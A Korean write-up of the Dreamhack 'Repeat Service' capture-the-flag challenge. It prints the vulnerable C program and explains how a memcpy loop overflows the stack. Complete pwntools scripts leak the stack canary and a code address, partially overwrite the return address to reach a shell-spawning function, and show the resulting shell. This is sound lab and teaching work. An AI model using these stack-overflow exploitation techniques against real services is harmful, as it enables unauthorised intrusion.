dreamhack - Repeat Service writeup
[dreamhack] Repeat Service writeup
1. 문제

Repeat Service는 문자열을 입력해주면 반복해서 출력해주는 편리한 서비스입니다.
반복하고 싶은 문구가 있다면 한 번 사용해보세요!
문자열을 계속 출력하다보면 플래그를 얻을 수 있을지도...?
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void win() {
system("/bin/sh");
}
int main() {
initialize();
char inp[80] = {0};
char buf[1000] = {0};
puts("Welcome to the Repeat Service!");
puts("Please put your string and length.");
while (1) {
printf("Pattern: ");
int len = read(STDIN_FILENO, inp, 80);
if (len == 0)
break;
if (inp[len - 1] == '\n') {
inp[len - 1] = 0;
len--;
}
int target_len = 0;
printf("Target length: ");
scanf("%d", &target_len);
if (target_len > 1000) {
puts("Too long :(");
break;
}
int count = 0;
while (count < target_len) {
memcpy(buf + count, inp, len);
count += len;
}
printf("%s\n", buf);
}
return 0;
}
Pattern
을 80바이트까지 inp
에 입력할 수 있고, Target length
가 될때까지 계속 반복해서 buf
에 입력한다. 이때 입력 가능한 Target length
는 최대 1000이다.
이후 buf
를 출력한다.
취약점은 아래 코드에서 발생한다.
while (count < target_len) {
memcpy(buf + count, inp, len);
count += len;
}
count
가 target_len
보다 작으면 계속 수행하는데, memcpy
를 할 때 buf + count
에 입력을 하고 이후에 count
에 len
을 더해준다.
따라서 target_len
이 1000일때 count
가 999여도 일단 memcpy
를 수행하면서 bof
가 발생하게 된다.
checksec
으로 바이너리를 확인하면 아래와 같다.
ubuntu@instance-20250406-1126:~/dreamhack/level3/Repeat_Service/deploy$ checksec main
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/Repeat_Service/deploy/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
2.1. canary leak
우선 canary
부터 leak을 해보자. 먼저 스택 상태는 아래와 같다.
스택 위치 | 변수명 |
---|---|
rbp - 0x44c | target_len |
rbp - 0x448 | count |
rbp - 0x444 | len |
rbp - 0x440 | inp |
rbp - 0x3f0 | buf |
rbp - 0x8 | canary |
buf
에 0x3e8 == 1000
만큼 입력하면 안되고 +1 해서 1001바이트를 입력하면 canary
를 얻을 수 있다. 그러려면 위의 while문을 통해 1001바이트를 정확히 입력해야하는데 1001은 13의 배수이기 때문에 13개의 a를 패턴으로 넣어주면 정확히 1001바이트가 덮이면서 canary
까지 출력된다.
# canary leak
p.sendlineafter(b"Pattern: ", b"a" * 13)
p.sendlineafter(b"Target length: ", b"1000")
p.recvuntil(b"a" * 1001)
canary = u64(b"\x00" + p.recv(7))
2.2. code base leak
그뒤에 PIE
가 걸려있는지 모르고 바로 win
함수 주소로 덮으려했다가 바로 실패…
win
함수는 code 영역에 존재하기 때문에 canary
leak과 비슷하게 해당 영역의 주소를 하나 leak을 해와서 그걸 기준으로 win
함수를 계산해줘야한다.
gdb로 리턴 주소 이후를 살펴보면 아래와 같다.
pwndbg> x/10gx $rbp
0x7ffd29d0a840: 0x00007ffd29d0a8e0 0x000073f72182a1ca
0x7ffd29d0a850: 0x00007ffd29d0a890 0x00007ffd29d0a968
0x7ffd29d0a860: 0x0000000170590040 0x00005d5b7059128a
0x7ffd29d0a870: 0x00007ffd29d0a968 0x2c192f8e7d9e5687
0x7ffd29d0a880: 0x0000000000000001 0x0000000000000000
pwndbg> disass win
Dump of assembler code for function win:
0x00005d5b70591270 <+0>: endbr64
0x00005d5b70591274 <+4>: push rbp
0x00005d5b70591275 <+5>: mov rbp,rsp
0x00005d5b70591278 <+8>: lea rax,[rip+0xd89] # 0x5d5b70592008
0x00005d5b7059127f <+15>: mov rdi,rax
0x00005d5b70591282 <+18>: call 0x5d5b705910e0 <system@plt>
0x00005d5b70591287 <+23>: nop
0x00005d5b70591288 <+24>: pop rbp
0x00005d5b70591289 <+25>: ret
End of assembler dump.
보면 win
함수는 0x00005d5b70591270
인데 그 주변으로 보이는 값이 하나 보인다. 0x7ffd29d0a868
위치에 0x00005d5b7059128a
이 있고 딱 0x1a
만큼 차이가 있다.
0x7ffd29d0a868
위치는 buf
변수 뒤에 48바이트만큼 뒤에 위치하기 때문에 최소한 1048바이트를 덮어줘야 한다.
그런데 1048바이트는 되게 애매한 숫자라서 80바이트 이하의 패턴을 넣었을때 딱 맞아떨이지는 숫자가 없다… 1048 = 8 x 131
인데 131은 80바이트보다 크고, 8은 너무 작고 1000바이트에 딱맞기 때문에 1000바이트 이상 덮을 수 없다.
1048보다 크면서 가장 작은 가능한 숫자를 찾으면 1050 = 75 * 14이다. 그래서 a를 75개 넣는 패턴을 주면 14번 돌면서 1050바이트를 덮게 되는데 이러면 우리가 원하는 1048바이트를 넘어서 code 영역 마지막 2바이트까지 덮게된다.
예시는 아래와 같다.
pwndbg> x/10gx $rbp
0x7ffee8742950: 0x6161616161616161 0x6161616161616161
0x7ffee8742960: 0x6161616161616161 0x6161616161616161
0x7ffee8742970: 0x6161616161616161 0x0000558f36ad6161
a (0x61)로 마지막 2바이트가 덮인 것을 볼 수 있다.
그런데 이때 2바이트 (16비트) 중 12비트는 고정이지만 상위 4비트는 가변이다! 그래서 16분의 1의 확률로 win
함수의 주소를 맞춰야한다…
어쨌든 마지막 12비트가 고정이고, 리턴주소를 win
함수로 추정되는 주소로 덮어줘야하는데, 리턴주소는 buf (1000) + canary (8) + sfp (8) + ret (8) 해서 1024바이트를 덮어야 한다.
이것도 1024 = 64 * 16
하면 딱 맞출 수 있는데 왜 나는 멍청하게 1027 = 79 * 13
을 해서 마지막 3바이트는 더미로 채우고 아래와 같이 구성했다.
payload = b"a" * 52
payload += p64(canary)
payload += b"b" * 8
payload += p64(code_base - 0x6161 + 0x7278) payload += b"c" * 3
p.sendlineafter(b"Pattern: ", payload)
p.sendlineafter(b"Target length: ", b"1000")
leak을 한 code_base
에서 a로 덮었던 0x6161
2바이트를 빼주고, 0x7278
을 더했다. win
함수의 마지막 12비트는 0x270
인데 0x278
로 끝나는 수를 더해준 이유는 스택 정렬 때문이다.
2.3. local exploit
이제 함수가 종료되어 우리가 설정한 리턴 주소로 뛰게하기 위해서 Target length
를 1000보다 크게 입력해준다.
최종 exploit은 아래와 같다.
from pwn import *
p = process("./main")
#p = remote("host8.dreamhack.games", 8961)
elf = ELF("./main")
# canary leak
p.sendlineafter(b"Pattern: ", b"a" * 13)
p.sendlineafter(b"Target length: ", b"1000")
p.recvuntil(b"a" * 1001)
canary = u64(b"\x00" + p.recv(7))
# code base leak
p.sendlineafter(b"Pattern: ", b"a" * 75) # local
p.sendlineafter(b"Target length: ", b"1000")
p.recvuntil(b"a" * 1048) # local
code_base = u64(p.recv(6) + b"\x00" * 2)
print(hex(code_base))
payload = b"a" * 52
payload += p64(canary)
payload += b"b" * 8
# do not return to start addr of win, return after stack alignment
payload += p64(code_base - 0x6161 + 0x7278) # local - with 1/16 prob
payload += b"c" * 3
p.sendlineafter(b"Pattern: ", payload)
p.sendlineafter(b"Target length: ", b"1000")
# return to win
p.sendlineafter(b"Pattern: ", b"a")
p.sendlineafter(b"Target length: ", b"2000")
p.interactive()
이러고 나는 이 exploit을 성공시키기 위해 쉘이 따질때까지 무지성으로 실행시켰다… 16분의 1 확률이니까 그렇게 낮지않다^^
ubuntu@instance-20250406-1126:~/dreamhack/level3/Repeat_Service/deploy$ python3 e_Repeat_Service.py
[+] Starting local process './main': pid 3161651
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/Repeat_Service/deploy/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
0x5f18c9e16161
[*] Switching to interactive mode
Too long :(
$
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
2.4. remote exploit
문제는 여기서 시작됐다. 로되리안이 터지면서 로컬에서는 되는게 서버 환경에서는 안됐다.
그런데 qna 글을 보다가 거의 똑같은데? 생각했지만 code_base
를 leak하는 과정에서 offset이 달랐다. leak 해야하는 code_base
주소가 buf
의 1048바이트 뒤에 있는게 아니라 1032바이트 뒤에 있는 것을 알게됐고, 위의 과정을 1032바이트에 맞춰서 다시 진행했다. 1032 = 43 * 24
로 딱 맞아떨어지면서 2바이트를 덮지도 않기 때문에 정확한 code_base
주소를 알아낼 수 있었고, exploit을 다시 작성해서 바로 성공했다.
from pwn import *
p = process("./main")
#p = remote("host8.dreamhack.games", 8961)
elf = ELF("./main")
# canary leak
p.sendlineafter(b"Pattern: ", b"a" * 13)
p.sendlineafter(b"Target length: ", b"1000")
p.recvuntil(b"a" * 1001)
canary = u64(b"\x00" + p.recv(7))
# code base leak
p.sendlineafter(b"Pattern: ", b"a" * 43) # remote
p.sendlineafter(b"Target length: ", b"1000")
p.recvuntil(b"a" * 1032)
code_base = u64(p.recv(6) + b"\x00" * 2)
print(hex(code_base))
payload = b"a" * 52
payload += p64(canary)
payload += b"b" * 8
payload += p64(code_base - 0x12)
payload += b"c" * 3
p.sendlineafter(b"Pattern: ", payload)
p.sendlineafter(b"Target length: ", b"1000")
# return to win
p.sendlineafter(b"Pattern: ", b"a")
p.sendlineafter(b"Target length: ", b"2000")
p.interactive()
왜 code_base
주소 위치가 달라져버리는지는 모르겠다…. libc의 문제도 아닌데 이건 그냥 환경 차이인가 싶기도 하고.
(서버환경은 Ubuntu 22.04이고 나는 Ubuntu 24.02였다.)
qna 글이 없었으면 그냥 계속 왜안되지하고 넘어갔을텐데 감사…
다시 생각해보니 도커 파일도 있겠다 libc leak해서 그냥 ROP로 할걸 그랬다(?)
아무튼 해결~